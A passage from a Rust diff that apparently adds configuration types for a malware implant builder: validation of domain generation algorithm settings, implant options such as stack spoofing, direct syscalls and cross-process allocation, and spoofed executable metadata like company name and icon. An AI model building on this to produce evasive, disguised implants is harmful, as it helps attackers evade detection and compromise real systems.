DGA is enabled" + )); + } + + if self.dga.interval_hours == 0 || self.dga.interval_hours > 24 { + return Err(anyhow::anyhow!( + "DGA interval_hours must be between 1 and 24" + )); + } + + let dga_targets = self.get_dga_targets(); + if dga_targets.is_empty() { + return Err(anyhow::anyhow!( + "DGA is enabled but no targets support DGA. Add domain_suffix to targets that should support DGA." + )); + } + + // Validate each DGA target + for target in dga_targets { + target.validate_domain_suffix()?; + } + + let domain_suffixes = self.extract_domain_suffixes(); + println!( + "DGA enabled with {} domain suffixes: {:?}", + domain_suffixes.len(), + domain_suffixes + ); + } + Ok(()) + } +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PackResource { + pub src: String, + pub dst: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ImplantConfig { + pub runtime: String, + pub r#mod: String, + pub register_info: bool, + pub hot_load: bool, + #[serde(default = "default_true")] + pub addon: bool, + pub modules: Vec, + pub enable_3rd: bool, + #[serde(rename = "3rd_modules")] + pub third_modules: Vec, + pub flags: Flags, + pub apis: Apis, + pub alloctor: Alloctor, + pub thread_stack_spoofer: bool, + #[serde(default)] + pub pack: Option>, + pub prelude: String, + #[serde(default)] + pub anti: Option, +} + +fn default_true() -> bool { + true +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Flags { + pub start: u32, // Acutally it's a u8 + pub end: u32, // Actually it's a u8 + pub magic: String, + pub artifact_id: u32, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Apis { + pub level: String, + pub priority: ApisPriority, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ApisPriority { + pub normal: NormalPriority, + pub dynamic: DynamicPriority, + pub syscalls: SyscallPriority, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct NormalPriority { + pub enable: bool, + pub r#type: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct DynamicPriority { + pub enable: bool, + pub r#type: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct SyscallPriority { + pub enable: bool, + pub r#type: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Alloctor { + pub inprocess: String, + pub crossprocess: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct MetaData { + pub icon: String, + pub compile_time: String, + pub file_version: String, + pub product_version: String, + pub company_name: String, + pub product_name: String, + pub original_filename: String, + pub file_description: String, + pub internal_name: String, + #[serde(default)] + pub require_admin: bool, + #[serde(default)] + pub require_uac: bool, +} + +impl MetaData { + /// Try to pick a random line from `